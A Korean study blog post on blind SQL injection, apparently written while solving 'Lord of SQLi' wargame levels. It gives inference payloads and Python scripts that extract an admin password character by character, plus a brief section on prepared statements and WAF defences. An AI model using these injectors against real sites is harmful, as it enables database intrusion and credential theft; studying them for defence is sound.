정보보안(웹해킹)/SQLInjection

Blind SQL Injection 과 자동화 (Blind SQL Injector) 및 SQL Injection 대응방안

끊임없는정진 2022. 12. 11. 01:29

▶ SQL Injection 항목별 적용법

 

SQL 질의문이 화면에 보이는 경우 : Union SQL Injection

SQL 에러가 응답에 포함되는 경우 : Error based SQL Injection

SQL 질의문 결과가 화면에 나오지 않는 경우 : Blind SQL Injection

※ Blind SQL injection은 속도가 느려서 모든 타입에 무작정 적용하기에는 적합하지 않다.

 

▶ Blind Based SQL Injection 원리

 

SQL 질의문 결과가 참/거짓에 따라 응답이 달라지는 원리를 이용

ex) ~ and '1%'='1%' (T) // ~ and '1%'='2%' (F) 

사용하는 대표적인 트릭은 다음과 같다(경우에 따라 다른 SQL 문법도 이용가능 - 우회하는 경우).

[1] limit : 데이터가 하나의 행만 추출될수 있도록 만들어주는 문법

[2] substring : 글자를 잘라낼 때 사용 (※ 단, limit은 0부터 시작위치를 세고(index개념), substring은 1부터 위치를 센다.)

[3] ascii : ascii 코드로 문자열 변환

 

▶ Blind Based SQL Injection

 

(1) SQLi 가능유무 체크

id, pw를 통해 로그인하는 페이지에서 다음과 같은 쿼리가 있다고 예상할 수 있다. 

1
2
SELECT ~ WHERE id='___' and pw='____'
SELECT ~ WHERE id='___' ~
cs

비록 다음 id와 pw를 동시에 검증하는지, id만 검증하고 pw는 따로 검증하는지는 모르지만, SELECT ~ WHERE 문으로 id를 검증할 것이라고는 생각이 가능하다. 따라서, id: mario, pw:mariosuper 로 로그인이 된다고 가정할 때, 다음과 같이 값을 넣어서 exploit을 시도해볼수 있다. 

SELECT ~ WHERE id='mario' and '1'='1' pw='mariosuper'

로그인이 된다? -> 작은 따옴표(')와 AND를 쿼리문으로 인식하는구나! 

SELECT ~ WHERE id='mario' and '1'='2' pw='mariosuper'

로그인이 안된다? -> 최종확인 : SQLi 가능하겠구나!

 

(2) SQLi 페이로드 구성 (조건문)

SELECT ~ WHERE id='mario' and {injection_point} and '1'='1'

 

(3) database 이름

시스템 함수 활용 : SELECT database()를 하면 해당 database를 호출하는 점을 활용한다. 

SELECT ~ WHERE id='mario' and ascii(substring((SELECT database()),1,1))={injection_number} and '1'='1'

 

(4) table 이름

시스템 함수 활용 : information_schema에서 table이름을 저장하고 있는 점을 활용한다. 

SELECT ~ WHERE id='mario' and ascii(substring((SELECT table_name FROM information_schema.tables WHERE table_schema={Database_name} limit 0,1),1,1))={injection_number} and '1'='1'

 

(5) Column 이름

시스템 함수 활용 : information_schema에서 column이름을 저장하고 있는 점을 활용한다. 

SELECT ~ WHERE id='mario' and ascii(substring((SELECT column_name FROM information_schema.columns WHERE table_name={Table_name} limit 0,1),1,1))={injection_number} and '1'='1'

 

(6) Data 추출

일반적인 쿼리문을 넣어서 원하는 데이터를 뽑아낸다. 

SELECT ~ WHERE id='mario' and ascii(substring((SELECT {Column_name} FROM {Table_name} WHERE id='admin' limit 0,1),1,1))={injection_number} and '1'='1'

 

▶ SQL Injection 대응방안

 

(1) Prepared Statement

select * from member where id='__' and pass='__'
-> 011110101010101010____10101____0101001010100101 와 같이 미리 컴파일시켜서 변수에 값을 지정하면 그때 DBMS문을 실행하는 방식으로 쿼리문을 처리한다. 단, Prepared Statement가 적용되지 않는 곳이 있으니(order by,  table,  column ...), 해당 부분은 Whitelist 기반 필터링을 적용해야 한다.

 

(2) 필터링 or WAF(웹 방화벽) 도입

필터링은 화이트리스트 기반과 블랙리스트 기반으로 나누어진다. WAF도 우회가능한 경우가 발생한다.

 

Q. Prepared Statement를 쓰면 안전하다, 그런데 왜 아직도 뚫릴까?  
1) 옛날에 만든 사이트, 옛날 사람들
2) Prepared Statement를 제대로 못쓴다.
3) Prepared Statment 적용이 안되는 곳에서 Injection을 시도할수도 있기 때문

 

▶ Blind Based SQL Injector 작성 예시 (Python 사용)

 

(1) Blind injector

단순하게 때려박는 방식이다. for문으로 길이만큼 때려박게 만들면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from requests import get
 
host = "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
cookies = {'PHPSESSID''@@@@@@@@@@@@@@@@@@@@@@@@'}
 
# Find the injection point length
password_length = 0
while True:
    password_length += 1
    query = f'mario and ascii(substring((SELECT char_length(Column_name) FROM Table_name WHERE id="admin" limit 0,1),1,1))={password_length} and "1"="1'
    r = get(f"{host}/?id={query}", cookies=cookies)
    if not "select" in r.text:
        break
print(f"password length: {password_length}")
 
password = ""
 
# Find each characters in the injection point
for i in range(1, password_length + 1):
    ascii_num = 0
    while True:
        ascii_num += 1
        query = f'mario and ascii(substring((SELECT Column_name FROM Table_name WHERE id="admin" limit 0,1),{i},1))={ascii_num} and "1"="1'
        r = get(f"{host}/?id={query}", cookies=cookies)
        if not "select" in r.text:
            break
    print(f"character {i}'s ascii code: {ascii_num}")
 
    password += chr(ascii_num)
 
print(password)
cs

 

(2) Time based blind SQL injector

이 경우는 Time based이므로 Time 라이브러리를 호출해서 사용한다. (※Los에서 hell_fire단계에 사용한 injector)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from requests import get
import time
 
host = "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
cookies = {'PHPSESSID''@@@@@@@@@@@@@@@@@@@@@@@@@@'}
 
print ("[*]Time based blind SQL Injection initiating..")
# Find admin password length
print ("[*]Finding length of the admin's password..")
password_length = 0
while True:
    start_time = time.time()
    password_length += 1
    query = f'id%20desc,%20(SELECT%20sleep(1)%20WHERE%20id=%27admin%27%20and%20(SELECT%20ascii(substring(email,{password_length},1))>0))'
    r = get(f"{host}/?order={query}", cookies=cookies)
    end_time = time.time() - start_time
    if not int(end_time) >= 0.4:
        break
password_length = password_length - 1
print(f"password length: {password_length} ")
 
password = ""
 
# Find each characters in admin's password
print ("[*]Finding each characters in the admin's password..")
for i in range(1, password_length + 1):
    ascii_num = 0
    while True:
        start_time = time.time()
        ascii_num += 1
        query = f'id%20desc,%20(SELECT%20sleep(1)%20WHERE%20id=%27admin%27%20and%20(SELECT%20ascii(substring(email,{i},1))={ascii_num}))'
        r = get(f"{host}/?order={query}", cookies=cookies)
        end_time = time.time() - start_time
        if int(end_time) >= 0.4:
            break
    print(f"character {i}'s ascii code: {ascii_num}")
 
    password += chr(ascii_num)
 
print(password)
cs

 

(3) Unicode를 추출해야하는 경우 SQL injector

한글의 경우 Unicode로 값을 추출해야하는데, 값이 어마어마하게 크다. 이 경우, 이진수로 변환하면 연산을 획기적으로 줄일 수 있다 (※Los에서 xavis단계에 사용한 injector, dreamhack.io 참고).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from requests import get
 
host = "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
cookies = {'PHPSESSID''@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@'}
 
# Find admin password length
password_length = 0
while True:
    password_length += 1
    query = f'%27%20or%20id=%27admin%27%20and%20ord(substr((pw),{password_length},1))>0%20and%20%271%27=%271'
    r = get(f"{host}/?pw={query}", cookies=cookies)
    if not "Hello admin" in r.text:
        break
print(f"password length: {password_length - 1}")
 
password = ""
 
# Find each characters bitstream length
for i in range(1, password_length):
    bit_length = 0
    while True:
        bit_length += 1
        #print(bit_length)
        query = f'%27%20or%20id=%27admin%27%20and%20length(bin(ord(substr((pw),{i},1))))={bit_length}%20and%20%271%27=%271'
        r = get(f"{host}/?pw={query}", cookies=cookies)
        if "Hello admin" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
 
    bits = ""
    for j in range(1, bit_length+1):
        query = f'%27%20or%20id=%27admin%27%20and%20substr(bin(ord(substr((pw),{i},1))),{j},1)=1%20and%20%271%27=%271'
        r = get(f"{host}/?pw={query}", cookies=cookies)
        if "Hello admin" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
cs

 

(4) 이진탐색 알고리즘 적용

위에서 설명한 인젝터에 이진탐색 알고리즘을 적용할 수 있다. for문 대신 while문으로 해당 아스키코드를 찾을 때까지 숫자를 이진탐색으로 넣게 만들면 된다(Los에서 orc단계에 사용한 injector 중 일부.). 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
for i in range(1,len+1) :
    max = 127
    min = 0
    med = 61
    val = med
    password = ""
    while(True) :
        params = {'pw''\' || id like \'admin\' %26%26 ascii(substring(({}),'.format(SQL)+str(i)+',1)) like '+str(val)+' %26%26 \'1\'like\'1'}
        print(params)
        r = requests.get(domain+url, params=params, headers=headers, cookies=cookies)
        if("Hello admin" in r.text) :
            print(chr(val))
            password += str(chr(val))
            break
        else :
            params = {'pw''\' || id like \'admin\' %26%26 ascii(substring(({}),'.format(SQL)+str(i)+',1))='+str(val)+' %26%26 \'1\'like\'1'}
            r = requests.get(domain+url, params=params, headers=headers, cookies=cookies)
            if("Hello admin" in r.text) :
                min = med
                med = round((max+min)/2)
                val = med
            else :
                max = med
                med = round((max+min)/2)
                val = med
 
cs

 

(5) 추가로 적용할 수 있는 메커니즘 :

각 글자를 10진수로 변환해주고 다시 2진수로 변환한 다음에, lpad 함수를 사용해 7글자로 맞춰주면 효율적으로 SQL Injection을 수행할 수 있다. 

select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),1,1)

 

또한, md5 hash와 같이 16진수의 묶음이라고 확신할 수 있을 때, 아래와 같은 쿼리로 글자당 4회의 쿼리로 더욱 효율적으로 공격이 가능하다.

select substr(lpad(bin(if(ascii(substring(pw,1,1))<90,ascii(substring(pw,1,1))-48,ascii(substring(pw,1,1))-87)),4,0),1,1)

 

 

 

출처 : https://www.hackerschool.org/Sub_Html/HS_Posting/?uid=43 , dreamhack.io